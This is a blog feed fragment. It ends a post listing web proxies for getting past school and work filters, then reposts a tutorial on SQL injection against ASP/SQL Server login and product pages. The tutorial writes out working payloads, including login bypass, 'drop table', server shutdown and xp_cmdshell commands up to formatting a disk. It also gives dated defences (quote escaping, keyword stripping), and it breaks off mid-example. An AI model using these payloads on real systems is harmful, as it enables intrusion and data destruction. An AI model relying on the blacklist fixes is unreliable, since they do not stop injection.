http://privatproxy.com&lt;br /&gt;
http://filterfreesurfing.com&lt;br /&gt;
http://allaccessproxy.com&lt;br /&gt;
http://hotwinebaskets.com&lt;br /&gt;
http://spainwine.info&lt;br /&gt;
http://couldfind.info&lt;br /&gt;
http://proxy-blog.com&lt;br /&gt;
http://serfs.info&lt;br /&gt;
http://macaoguide.info&lt;br /&gt;
http://proxoid.com&lt;br /&gt;
http://rentaustin.info&lt;br /&gt;
http://safesurfingweb.com&lt;br /&gt;
http://proxyfans.com&lt;br /&gt;
http://metnyc.info&lt;br /&gt;
http://speedroxi.com&lt;br /&gt;
http://ehide.info&lt;br /&gt;
http://ipow.info&lt;br /&gt;
http://babyboomerco.com&lt;br /&gt;
http://proxclub.com&lt;br /&gt;
http://anonysurf.nl&lt;br /&gt;
http://mylittleproxy.com&lt;br /&gt;
http://gz299.com&lt;br /&gt;
http://us-proxy.com&lt;br /&gt;
http://goinvis.com&lt;br /&gt;
http://freeproxy.in&lt;br /&gt;
http://onesimpleproxy.com&lt;br /&gt;
http://supaproxy.net&lt;br /&gt;
http://dedicatedproxy.com&lt;br /&gt;
http://india-proxy.com&lt;br /&gt;
http://greekdating.info&lt;br /&gt;
http://reliableproxy.com&lt;br /&gt;
http://dontshowmyip.info&lt;br /&gt;
&lt;br /&gt;
http://proxcool.com&lt;br /&gt;
http://prxy.net.ms&lt;br /&gt;
http://hidip.info&lt;br /&gt;
http://cutmy.info&lt;br /&gt;
http://hidelink.ingo&lt;br /&gt;
http://xoogie.net&lt;br /&gt;
http://oproxy.info&lt;br /&gt;
http://stealth-ip.net&lt;br /&gt;
http://safeforwork.net&lt;br /&gt;
http://vtunnel.com&lt;br /&gt;
http://freeproxy.ru/en/free_proxy/cg...&lt;br /&gt;
http://proxydrop.com/&lt;br /&gt;
http://proxydrop.net/&lt;br /&gt;
http://proxydrop.biz/&lt;br /&gt;
http://proxydrop.info/&lt;br /&gt;
http://proxydrop.org/&lt;br /&gt;
http://backfox.com&lt;br /&gt;
http://ninjaproxy.com/&lt;br /&gt;
http://atunnel.com&lt;br /&gt;
http://vpntunnel.net&lt;br /&gt;
http://btunnel.com&lt;br /&gt;
http://ctunnel.com&lt;br /&gt;
http://dtunnel.com&lt;br /&gt;
http://proxyhost.org&lt;br /&gt;
http://webproxy.dk&lt;br /&gt;
http://phproxy.frac.dk&lt;br /&gt;
http://phproxy.1go.dk&lt;br /&gt;
http://proxify.com&lt;br /&gt;
http://home.no.net/roughnex&lt;br /&gt;
http://nomorefilter.com&lt;br /&gt;
http://rapidwire.net&lt;br /&gt;
http://oproxy.info&lt;br /&gt;
http://stealth-ip.net&lt;br /&gt;
http://cooltunnell.com&lt;br /&gt;
http://schoolsurf.com&lt;br /&gt;
http://anonymouse.org&lt;br /&gt;
&lt;br /&gt;
http://megaproxy.com/&lt;br /&gt;
http://amegaproxy.com/&lt;br /&gt;
http://theproxy.be/&lt;br /&gt;
http://newproxy.be/&lt;br /&gt;
http://projectbypass.com/&lt;br /&gt;
http://smartproxy.net/&lt;br /&gt;
http://proxy.org/cgi_proxies.shtml&lt;br /&gt;
http://hidebehind.net&lt;br /&gt;
http://Proxy7.com&lt;br /&gt;
http://pcriot.com/&lt;br /&gt;
http://tools.rosinstrument.com/cgi-p...&lt;br /&gt;
http://www.proxyspider.com/index.php&lt;br /&gt;
http://welazy.com/nick&lt;br /&gt;
http://reallycoolproxy.com&lt;br /&gt;
http://vidznet.com/index.php?pid=3&lt;br /&gt;
http://proxyholic.com&lt;br /&gt;
&lt;br /&gt;
http://www.freeproxy.ru/index.htm&lt;br /&gt;
http://www.freeproxy.ru/ru/index.htm&lt;br /&gt;
http://www.freeproxy.ru/&lt;br /&gt;
http://www.freeproxy.info/&lt;br /&gt;
http://www.freeproxy.ru/ru/index.htm&lt;br /&gt;
http://www.freeproxy.ru/en/programs/&lt;br /&gt;
http://www.freeproxy.ru/en/free_proxy/&lt;br /&gt;
http://www.freeproxy.ru/en/misc.htm&lt;br /&gt;
http://www.freeproxy.ru/en/news.htm&lt;br /&gt;
http://www.freeproxy.ru/en/contacts/&lt;br /&gt;
http://www.checker.freeproxy.ru/checker/&lt;br /&gt;
http://www.freeproxy.ru/shop/&lt;br /&gt;
http://www.forum.freeproxy.ru/&lt;br /&gt;
http://anonymouse.ws/&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/2998488116354639970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/exploration-of-all-proxies.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/2998488116354639970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/2998488116354639970'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/exploration-of-all-proxies.html' title='Exploration Of All Proxies'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-1650474984841294762</id><published>2011-02-09T21:43:00.000-08:00</published><updated>2011-02-09T21:43:50.321-08:00</updated><title type='text'>Full SQL Injection Tutorial (MySQL) Update with Basics</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Now most of us here to learn how to hack ?? but i know also there is some few people here own websites , so they can prevent the sqli attack too .&lt;br /&gt;
&lt;br /&gt;
-- I didn&#39;t wrote this topic , i just found it in some website and i&#39;ll post it the link @ the end of the topic ..... so this work is not mine .&lt;br /&gt;
&lt;br /&gt;
Some stuff here is not totally new , but for Newbies like me it&#39;s really good . so enough talk and let&#39;s start .&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :&lt;br /&gt;
&lt;br /&gt;
The database is the heart of most Web applications: it stores the data needed for the Websites and applications to &quot;survive&quot;. It stores user credentials and sensitive financial information. It stores preferences, invoices, payments, inventory data, etc. It is through the combination of a database and Web scripting language that we as developers can produce sites that keep clients happy, pay the bills, and -- most importantly -- run our businesses.&lt;br /&gt;
&lt;br /&gt;
But what happens when you realize that your critical data may not be safe? What happens when you realize that a new security bug has just been found? Most likely you either patch it or upgrade your database server to a later, bug-free version. Security flaws and patches are found all the time in both databases and programming languages, but I bet 9 out of 10 of you have never heard of SQL injection attacks...&lt;br /&gt;
&lt;br /&gt;
In this article I&#39;ll attempt to shed some light on this under-documented attack, explaining what an SQL injection attack is and how you can prevent one from occurring within your company. By the end of this article you&#39;ll be able to identify situations where an SQL injection attack may allow unauthorized persons to penetrate your system, and you&#39;ll learn ways to fix existing code to prevent an SQL injection attack.&lt;br /&gt;
&lt;br /&gt;
What is an SQL Injection Attack?&lt;br /&gt;
As you may know, SQL stands for Structured Query Language. It comes in many different dialects, most of which are based on the SQL-92 ANSI standard. An SQL query comprises one or more SQL commands, such as SELECT, UPDATE or INSERT. For SELECT queries, each query typically has a clause by which it returns data, for example:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM Users WHERE userName = &#39;justin&#39;;&lt;br /&gt;
&lt;br /&gt;
The clause in the SQL query above is WHERE username = &#39;justin&#39;, meaning that we only want the rows from the Users table returned where the userName field is equal to the string value of Justin.&lt;br /&gt;
&lt;br /&gt;
It&#39;s these types of queries that make the SQL language so popular and flexible... it&#39;s also what makes it open to SQL injection attacks. As the name suggests, an SQL injection attack &quot;injects&quot; or manipulates SQL code. By adding unexpected SQL to a query, it is possible to manipulate a database in many unanticipated ways.&lt;br /&gt;
&lt;br /&gt;
One of the most popular ways to validate a user on a Website is to provide them with an HTML form through which they can enter their username and password. Let&#39;s assume that we have the following simple HTML form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;form name=&quot;frmLogin&quot; action=&quot;login.asp&quot; method=&quot;post&quot;&amp;gt; &lt;br /&gt;
Username: &amp;lt;input type=&quot;text&quot; name=&quot;userName&quot;&amp;gt; &lt;br /&gt;
Password: &amp;lt;input type=&quot;text&quot; name=&quot;password&quot;&amp;gt; &lt;br /&gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt; &lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When the form is submitted, the contents of the username and password fields are passed to the login.asp script, and are available to that script through the Request.Form collection. The easiest way to validate this user would be to build an SQL query, and then check that query against the database to see whether that user exists. We could create a login.asp script like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;% &lt;br /&gt;
&lt;br /&gt;
dim userName, password, query &lt;br /&gt;
dim conn, rS &lt;br /&gt;
&lt;br /&gt;
userName = Request.Form(&quot;userName&quot;) &lt;br /&gt;
password = Request.Form(&quot;password&quot;) &lt;br /&gt;
&lt;br /&gt;
set conn = server.createObject(&quot;ADODB.Connection&quot;) &lt;br /&gt;
set rs = server.createObject(&quot;ADODB.Recordset&quot;) &lt;br /&gt;
&lt;br /&gt;
query = &quot;select count(*) from users where userName=&#39;&quot; &amp;amp; &lt;br /&gt;
userName &amp;amp; &quot;&#39; and userPass=&#39;&quot; &amp;amp; password &amp;amp; &quot;&#39;&quot; &lt;br /&gt;
&lt;br /&gt;
conn.Open &quot;Provider=SQLOLEDB; Data Source=(local); &lt;br /&gt;
Initial Catalog=myDB; User Id=sa; Password=&quot; &lt;br /&gt;
rs.activeConnection = conn &lt;br /&gt;
rs.open query &lt;br /&gt;
&lt;br /&gt;
if not rs.eof then &lt;br /&gt;
response.write &quot;Logged In&quot; &lt;br /&gt;
else &lt;br /&gt;
response.write &quot;Bad Credentials&quot; &lt;br /&gt;
end if &lt;br /&gt;
&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above, the user either sees &quot;Logged In&quot; if their credentials matched a record in the database, or &quot;Bad Credentials&quot; if they didn&#39;t. Before we continue, let&#39;s create the database that we have queried in the sample code. &lt;br /&gt;
&lt;br /&gt;
Let&#39;s also create a users table with some dummy records:&lt;br /&gt;
&lt;br /&gt;
create database myDB &lt;br /&gt;
go &lt;br /&gt;
&lt;br /&gt;
use myDB &lt;br /&gt;
go &lt;br /&gt;
&lt;br /&gt;
create table users &lt;br /&gt;
( &lt;br /&gt;
userId int identity(1,1) not null, &lt;br /&gt;
userName varchar(50) not null, &lt;br /&gt;
userPass varchar(20) not null &lt;br /&gt;
) &lt;br /&gt;
&lt;br /&gt;
insert into users(userName, userPass) values(&#39;john&#39;, &#39;doe&#39;) &lt;br /&gt;
insert into users(userName, userPass) values(&#39;admin&#39;, &#39;wwz04ff&#39;) &lt;br /&gt;
insert into users(userName, userPass) values(&#39;fsmith&#39;, &#39;mypassword&#39;)&lt;br /&gt;
&lt;br /&gt;
So if I entered a username of john and password of doe, then I would be presented with the text &quot;Logged In&quot;. The query would look something like this:&lt;br /&gt;
&lt;br /&gt;
select count(*) from users where userName=&#39;john&#39; and userPass=&#39;doe&#39;&lt;br /&gt;
&lt;br /&gt;
There&#39;s nothing insecure or dangerous about this query... is there? Maybe not at first glance, but what about if I entered a username of john and a password of &#39; or 1=1 --&lt;br /&gt;
&lt;br /&gt;
The resultant query would now look like this:&lt;br /&gt;
&lt;br /&gt;
select count(*) from users where userName=&#39;john&#39; and userPass=&#39;&#39; &lt;br /&gt;
or 1=1 --&#39;&lt;br /&gt;
&lt;br /&gt;
In the example above I&#39;ve italicised the username and password so they are a bit easier to read, but basically what happens is that the query now only checks for any user with a username field of john. Instead of checking for a matching password, it now checks for an empty password, or the conditional equation of 1=1. This means that if the password field is empty OR 1 equals 1 (which it does), then a valid row has been found in the users table. Notice how the last quote is commented out with a single-line comment delimiter (--). This stops ASP from returning an error about any unclosed quotations.&lt;br /&gt;
&lt;br /&gt;
So with the login.asp script we created above, one row would be returned, and the text &quot;Logged In&quot; would be displayed. We could take this a bit further by doing the same thing to the username field, like this:&lt;br /&gt;
&lt;br /&gt;
Username: &#39; or 1=1 --- &lt;br /&gt;
Password: [Empty]&lt;br /&gt;
&lt;br /&gt;
This would execute the following query against the users table:&lt;br /&gt;
&lt;br /&gt;
select count(*) from users where userName=&#39;&#39; or 1=1 --&#39; and userPass=&#39;&#39;&lt;br /&gt;
&lt;br /&gt;
The query above now returns a count of all rows in the user table. This is the perfect example of an SQL injection attack: adding code that manipulates the contents of a query to perform an undesired result.&lt;br /&gt;
&lt;br /&gt;
Another popular way to validate a user against a table of logins is to compare their details against the table, and retrieve the valid username from the database, like this:&lt;br /&gt;
&lt;br /&gt;
query = &quot;select userName from users where userName=&#39;&quot; &amp;amp; &lt;br /&gt;
userName &amp;amp; &quot;&#39; and userPass=&#39;&quot; &amp;amp; password &amp;amp; &quot;&#39;&quot; &lt;br /&gt;
&lt;br /&gt;
conn.Open &quot;Provider=SQLOLEDB; Data Source=(local); &lt;br /&gt;
Initial Catalog=myDB; User Id=sa; Password=&quot; &lt;br /&gt;
rs.activeConnection = conn &lt;br /&gt;
rs.open query &lt;br /&gt;
&lt;br /&gt;
if not rs.eof then &lt;br /&gt;
response.write &quot;Logged In As &quot; &amp;amp; rs.fields(0).value &lt;br /&gt;
else &lt;br /&gt;
response.write &quot;Bad Credentials&quot; &lt;br /&gt;
end if&lt;br /&gt;
&lt;br /&gt;
So, if we entered a username of john and a password of doe, then we would be presented with:&lt;br /&gt;
&lt;br /&gt;
Logged In As john&lt;br /&gt;
&lt;br /&gt;
However, if we used the following login credentials:&lt;br /&gt;
&lt;br /&gt;
Username: &#39; or 1=1 --- &lt;br /&gt;
Password: [Anything]&lt;br /&gt;
&lt;br /&gt;
Then we would also be logged in as John, because the row whose username field is John comes first in the list, based on the insert queries we saw earlier:&lt;br /&gt;
&lt;br /&gt;
insert into users(userName, userPass) values(&#39;john&#39;, &#39;doe&#39;) &lt;br /&gt;
insert into users(userName, userPass) values(&#39;admin&#39;, &#39;wwz04ff&#39;) &lt;br /&gt;
insert into users(userName, userPass) values(&#39;fsmith&#39;, &#39;mypassword&#39;) &lt;br /&gt;
&lt;br /&gt;
Injection Attack Examples&lt;br /&gt;
Forcing a login through a HTML form like the one we just saw on is a typical example of an SQL injection attack, and we&#39;ll look at ways to fix these types of attacks a little later.&lt;br /&gt;
&lt;br /&gt;
But first, I want to take a look at some examples of SQL injection attack executions. First of, let&#39;s stick with our example login form, which contains a username and password field.&lt;br /&gt;
&lt;br /&gt;
Example #1&lt;br /&gt;
&lt;br /&gt;
Microsoft SQL Server has its own dialect of SQL, which is called Transact SQL, or TSQL for short. We can exploit the power of TSQL in a number of ways to show how SQL injection attacks work. Consider the following query, which is based on the users table we created on the last page:&lt;br /&gt;
&lt;br /&gt;
select userName from users where userName=&#39;&#39; having 1=1&lt;br /&gt;
&lt;br /&gt;
If you&#39;re an SQL buff, then you&#39;ll no doubt be aware that this query raises an error. We can easily make our login.asp page query our database with this query by using these login credentials:&lt;br /&gt;
&lt;br /&gt;
Username: &#39; having 1=1 --- &lt;br /&gt;
&lt;br /&gt;
Password: [Anything]&lt;br /&gt;
&lt;br /&gt;
When I click on the submit button to start the login process, the SQL query causes ASP to spit the following error to the browser:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for SQL Server (0x80040E14)&lt;br /&gt;
&lt;br /&gt;
Column &#39;users.userName&#39; is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.&lt;br /&gt;
&lt;br /&gt;
/login.asp, line 16&lt;br /&gt;
&lt;br /&gt;
Well well. It appears that this error message now tells the unauthorized user the name of one field from the database that we were trying to validate the login credentials against: users.userName. Using the name of this field, we can now use SQL Server&#39;s LIKE keyword to login with the following credentials:&lt;br /&gt;
&lt;br /&gt;
Username: &#39; or users.userName like &#39;a%&#39; --- &lt;br /&gt;
Password: [Anything]&lt;br /&gt;
&lt;br /&gt;
Once again, this performs an injected SQL query against our users table:&lt;br /&gt;
&lt;br /&gt;
select userName from users where userName=&#39;&#39; or &lt;br /&gt;
users.userName like &#39;a%&#39; --&#39; and userPass=&#39;&#39;&lt;br /&gt;
&lt;br /&gt;
When we created the users table, we also created a user whose userName field was admin and userPass field was wwz04ff. Logging in with the username and password shown above uses SQL&#39;s like keyword to get the username. The query grabs the userName field of the first row whose userName field starts with a, which in this case is admin:&lt;br /&gt;
&lt;br /&gt;
Logged In As admin&lt;br /&gt;
&lt;br /&gt;
Example #2&lt;br /&gt;
&lt;br /&gt;
SQL Server, among other databases, delimits queries with a semi-colon. The use of a semi-colon allows multiple queries to be submitted as one batch and executed sequentially, for example:&lt;br /&gt;
&lt;br /&gt;
select 1; select 1+2; select 1+3;&lt;br /&gt;
&lt;br /&gt;
...would return three recordsets. The first would contain the value 1, the second the value 3, and the third the value 4, etc. So, if we logged in with the following credentials:&lt;br /&gt;
&lt;br /&gt;
Username: &#39; or 1=1; drop table users; -- &lt;br /&gt;
Password: [Anything]&lt;br /&gt;
&lt;br /&gt;
Then the query would execute in two parts. Firstly, it would select the userName field for all rows in the users table. Secondly, it would delete the users table, so that when we went to login next time, we would see the following error:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for SQL Server (0x80040E37) &lt;br /&gt;
Invalid object name &#39;users&#39;. &lt;br /&gt;
/login.asp, line 16&lt;br /&gt;
&lt;br /&gt;
Example #3&lt;br /&gt;
&lt;br /&gt;
The last example relating to our login form that we&#39;ll consider is the execution of TSQL specific commands and extended stored procedures. Many Websites use the default system account (sa) user when logging into SQL Server from their ASP scripts or applications. By default, this user has access to all commands and can delete, rename, and add databases, tables, triggers, and more.&lt;br /&gt;
&lt;br /&gt;
One of SQL Server&#39;s most powerful commands is SHUTDOWN WITH NOWAIT, which causes SQL Server to shutdown, immediately stopping the Windows service. To restart SQL server after this command is issued, you need to use the SQL service manager or some other method of restarting SQL server.&lt;br /&gt;
&lt;br /&gt;
Once again, this command can be exploited through our login example:&lt;br /&gt;
&lt;br /&gt;
Username: &#39;; shutdown with nowait; -- &lt;br /&gt;
Password: [Anything]&lt;br /&gt;
&lt;br /&gt;
This would make our login.asp script run the following query:&lt;br /&gt;
&lt;br /&gt;
select userName from users where userName=&#39;&#39;; &lt;br /&gt;
shutdown with nowait; --&#39; and userPass=&#39;&#39;&lt;br /&gt;
&lt;br /&gt;
If the user is set up as the default sa account, or the user has the required privileges, then SQL server will shut down, and will require a restart before it will function again.&lt;br /&gt;
&lt;br /&gt;
SQL Server also includes several extended stored procedures, which are basically special C++ DLL&#39;s that can contain powerful C/C++ code to manipulate the server, read directories and the registries, delete files, run the command prompt, etc. All extended stored procedures exist under the master database and are prefixed with &quot;xp_&quot;.&lt;br /&gt;
&lt;br /&gt;
There are several extended stored procedures that can cause permanent damage to a system. We can execute an extended stored procedure using our login form with an injected command as the username, like this:&lt;br /&gt;
&lt;br /&gt;
Username: &#39;; exec master..xp_xxx; -- &lt;br /&gt;
Password: [Anything]&lt;br /&gt;
&lt;br /&gt;
All we have to do is pick the appropriate extended stored procedure and replace xp_xxx with its name in the sample above. For example, if IIS was installed on the same machine as SQL Server (which is typical for small one/two man setups), then we could restart it by using the xp_cmdshell extended stored procedure (which executes a command string as an operating-system command) and IIS reset. All we need to do is enter the following user credentials into our getlogin.asp page:&lt;br /&gt;
&lt;br /&gt;
Username: &#39;; exec master..xp_cmdshell &#39;iisreset&#39;; -- &lt;br /&gt;
Password: [Anything]&lt;br /&gt;
&lt;br /&gt;
This would send the following query to SQL Server:&lt;br /&gt;
&lt;br /&gt;
select userName from users where userName=&#39;&#39;; &lt;br /&gt;
exec master..xp_cmdshell &#39;iisreset&#39;; --&#39; and userPass=&#39;&#39;&lt;br /&gt;
&lt;br /&gt;
As I&#39;m sure you&#39;ll agree, this can cause serious problems, and with the right commands, can cause an entire Website to malfunction.&lt;br /&gt;
&lt;br /&gt;
Example #4&lt;br /&gt;
&lt;br /&gt;
OK, time to move away from looking at the login.asp script and onto another common method to perform an SQL injection attack.&lt;br /&gt;
&lt;br /&gt;
How many times have you been to a Website that sells you favourite gear and seen a URL like this:&lt;br /&gt;
&lt;br /&gt;
www.mysite.com/products.asp?productId=2&lt;br /&gt;
&lt;br /&gt;
Obviously the 2 is the ID of the product, and a lot of sites would simply build a query around the productId querystring variable, like this:&lt;br /&gt;
&lt;br /&gt;
Select prodName from products where id = 2&lt;br /&gt;
&lt;br /&gt;
Before we continue, let&#39;s assume that we have the following table and rows setup on our SQL server:&lt;br /&gt;
&lt;br /&gt;
create table products &lt;br /&gt;
( &lt;br /&gt;
id int identity(1,1) not null, &lt;br /&gt;
prodName varchar(50) not null, &lt;br /&gt;
) &lt;br /&gt;
&lt;br /&gt;
insert into products(prodName) values(&#39;Pink Hoola Hoop&#39;) &lt;br /&gt;
insert into products(prodName) values(&#39;Green Soccer Ball&#39;) &lt;br /&gt;
insert into products(prodName) values(&#39;Orange Rocking Chair&#39;)&lt;br /&gt;
&lt;br /&gt;
Let&#39;s also assume that we have created the following ASP script, and called it products.asp:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;% &lt;br /&gt;
&lt;br /&gt;
dim prodId &lt;br /&gt;
prodId = Request.QueryString(&quot;productId&quot;) &lt;br /&gt;
&lt;br /&gt;
set conn = server.createObject(&quot;ADODB.Connection&quot;) &lt;br /&gt;
set rs = server.createObject(&quot;ADODB.Recordset&quot;) &lt;br /&gt;
&lt;br /&gt;
query = &quot;select prodName from products where id = &quot; &amp;amp; prodId &lt;br /&gt;
&lt;br /&gt;
conn.Open &quot;Provider=SQLOLEDB; Data Source=(local); &lt;br /&gt;
Initial Catalog=myDB; User Id=sa; Password=&quot; &lt;br /&gt;
rs.activeConnection = conn &lt;br /&gt;
rs.open query &lt;br /&gt;
&lt;br /&gt;
if not rs.eof then &lt;br /&gt;
response.write &quot;Got product &quot; &amp;amp; rs.fields(&quot;prodName&quot;).value &lt;br /&gt;
else &lt;br /&gt;
response.write &quot;No product found&quot; &lt;br /&gt;
end if &lt;br /&gt;
&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So if we visited products.asp in the browser with the following URL:&lt;br /&gt;
&lt;br /&gt;
http://localhost/pro...asp?productId=1&lt;br /&gt;
&lt;br /&gt;
...we&#39;d see the following line of text in our browser:&lt;br /&gt;
&lt;br /&gt;
Got product Pink Hoola Hoop&lt;br /&gt;
&lt;br /&gt;
Notice that this time around, product.asp returns a field from the recordset based on the field&#39;s name:&lt;br /&gt;
&lt;br /&gt;
response.write &quot;Got product &quot; &amp;amp; rs.fields(&quot;prodName&quot;).value&lt;br /&gt;
&lt;br /&gt;
Although this may seem more secure, it really isn&#39;t, and we can still manipulate the database just as we have in our last three examples. Notice also that this time the WHERE clause of the query is based on a numerical value:&lt;br /&gt;
&lt;br /&gt;
query = &quot;select prodName from products where id = &quot; &amp;amp; prodId&lt;br /&gt;
&lt;br /&gt;
In order for the products.asp page to function correctly, all that&#39;s required is a numerical product Id passed as the productId querystring variable. Getting around this isn&#39;t too much of a problem, however. Consider the following URL to products.asp:&lt;br /&gt;
&lt;br /&gt;
http://localhost/pro...Id=0%20or%201=1&lt;br /&gt;
&lt;br /&gt;
Each %20 in the URL represents a URL-encoded space character, so the URL really looks like this:&lt;br /&gt;
&lt;br /&gt;
http://localhost/pro...asp?productId=0 or 1=1&lt;br /&gt;
&lt;br /&gt;
When used in conjunction with products.asp, the query looks like this:&lt;br /&gt;
&lt;br /&gt;
select prodName from products where id = 0 or 1=1&lt;br /&gt;
&lt;br /&gt;
Using a bit of know-how and some URL-encoding, we can just as easily pull the name of the products field from the products table:&lt;br /&gt;
&lt;br /&gt;
http://localhost/pro...%20having%201=1&lt;br /&gt;
&lt;br /&gt;
This would produce the following error in the browser:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for SQL Server (0x80040E14) &lt;br /&gt;
&lt;br /&gt;
Column &#39;products.prodName&#39; is invalid in the select &lt;br /&gt;
list because it is not contained in an aggregate &lt;br /&gt;
function and there is no GROUP BY clause. &lt;br /&gt;
&lt;br /&gt;
/products.asp, line 13&lt;br /&gt;
&lt;br /&gt;
Now, we can take the name of the products field (products.prodName) and call up the following URL in the browser:&lt;br /&gt;
&lt;br /&gt;
http://localhost/pro...into%20products &lt;br /&gt;
(prodName)%20values(left(@@version,50))&lt;br /&gt;
&lt;br /&gt;
Here&#39;s the query without the URL-encoded spaces:&lt;br /&gt;
&lt;br /&gt;
http://localhost/pro...ductId=0;insert into &lt;br /&gt;
products(prodName) values(left(@@version,50))&lt;br /&gt;
&lt;br /&gt;
Basically it returns &quot;No product found&quot;, however it also runs an INSERT query on the products table, adding the first 50 characters of SQL server&#39;s @@version variable (which contains the details of SQL Server&#39;s version, build, etc.) as a new record in the products table.&lt;br /&gt;
&lt;br /&gt;
In a real-life situation, you would obviously have to exploit the products table more than this as it would contain dozens of other fields, however the methods would remain the same.&lt;br /&gt;
&lt;br /&gt;
To get to the version, it&#39;s now a simple matter of calling up the products.asp page with the value of the latest entry in the products table, like this:&lt;br /&gt;
&lt;br /&gt;
http://localhost/pro...select%20max(id) &lt;br /&gt;
%20from%20products)&lt;br /&gt;
&lt;br /&gt;
What this query does is grab the ID of the latest row added to the products table using SQL server&#39;s MAX function. The result outputs the new row that contains the SQL server version details:&lt;br /&gt;
&lt;br /&gt;
Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)&lt;br /&gt;
&lt;br /&gt;
This method of injection can be used to perform numerous tasks. However the point of this article was to give tips on how to prevent SQL injection attacks, which is what we will look at next. &lt;br /&gt;
&lt;br /&gt;
Preventing SQL Injection Attacks&lt;br /&gt;
If you design your scripts and applications with care, SQL injection attacks can be avoided most of the time. There are a number of things that we as developers can do to reduce our site&#39;s susceptibility to attack. Here&#39;s a list (in no particular order) of our options:&lt;br /&gt;
&lt;br /&gt;
Limit User Access&lt;br /&gt;
&lt;br /&gt;
The default system account (sa) for SQL server 2000 should never be used because of its unrestricted nature. You should always setup specific accounts for specific purposes.&lt;br /&gt;
&lt;br /&gt;
For example, if you run a database that lets users of your site view and order products, then you should set up a user called webUser_public that has SELECT rights on the products table, and INSERT rights only on the orders table.&lt;br /&gt;
&lt;br /&gt;
If you don&#39;t make use of extended stored procedures, or have unused triggers, stored procedures, user-defined functions, etc, then remove them, or move them to an isolated server. Most extremely damaging SQL injection attacks attempt to make use of several extended stored procedures such as xp_cmdshell and xp_grantlogin, so by removing them, you&#39;re theoretically blocking the attack before it can occur.&lt;br /&gt;
&lt;br /&gt;
Escape Quotes&lt;br /&gt;
&lt;br /&gt;
As we&#39;ve seen from the examples discussed above, the majority of injection attacks require the user of single quotes to terminate an expression. By using a simple replace function and converting all single quotes to two single quotes, you&#39;re greatly reducing the chance of an injection attack succeeding.&lt;br /&gt;
&lt;br /&gt;
Using ASP, it&#39;s a simple matter of creating a generic replace function that will handle the single quotes automatically, like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;% &lt;br /&gt;
&lt;br /&gt;
function stripQuotes(strWords) &lt;br /&gt;
stripQuotes = replace(strWords, &quot;&#39;&quot;, &quot;&#39;&#39;&quot;) &lt;br /&gt;
end function &lt;br /&gt;
&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now if we use the stripQuotes function in conjunction with our first query for example, then it would go from this:&lt;br /&gt;
&lt;br /&gt;
select count(*) from users where userName=&#39;john&#39; and &lt;br /&gt;
userPass=&#39;&#39; or 1=1 --&#39;&lt;br /&gt;
&lt;br /&gt;
...to this:&lt;br /&gt;
&lt;br /&gt;
select count(*) from users where userName=&#39;john&#39;&#39; and &lt;br /&gt;
userPass=&#39;&#39;&#39; or 1=1 --&#39;&lt;br /&gt;
&lt;br /&gt;
This, in effect, stops the injection attack from taking place, because the clause for the WHERE query now requires both the userName and userPass fields to be valid.&lt;br /&gt;
&lt;br /&gt;
Remove Culprit Characters/Character Sequences&lt;br /&gt;
&lt;br /&gt;
As we&#39;ve seen in this article, certain characters and character sequences such as ;, --, select, insert and xp_ can be used to perform an SQL injection attack. By removing these characters and character sequences from user input before we build a query, we can help reduce the chance of an injection attack even further.&lt;br /&gt;
&lt;br /&gt;
As with the single quote solution, we just need a basic function to handle all of this for us:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;% &lt;br /&gt;
&lt;br /&gt;
function killChars(strWords) &lt;br /&gt;
&lt;br /&gt;
dim badChars &lt;br /&gt;
dim newChars &lt;br /&gt;
&lt;br /&gt;
badChars = array(&quot;select&quot;, &quot;drop&quot;, &quot;;&quot;, &quot;--&quot;, &quot;insert&quot;, &lt;br /&gt;
&quot;delete&quot;, &quot;xp_&quot;) &lt;br /&gt;
newChars = strWords &lt;br /&gt;
&lt;br /&gt;
for i = 0 to uBound(badChars) &lt;br /&gt;
newChars = replace(newChars, badChars(i), &quot;&quot;) &lt;br /&gt;
next &lt;br /&gt;
&lt;br /&gt;
killChars = newChars &lt;br /&gt;
&lt;br /&gt;
end function &lt;br /&gt;
&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using stripQuotes in combination with killChars greatly removes the chance of any SQL injection attack from succeeding. So if we had the query:&lt;br /&gt;
&lt;br /&gt;
select prodName from products where id=1; xp_cmdshell &#39;format &lt;br /&gt;
c: /q /yes &#39;; drop database myDB; --&lt;br /&gt;
&lt;br /&gt;
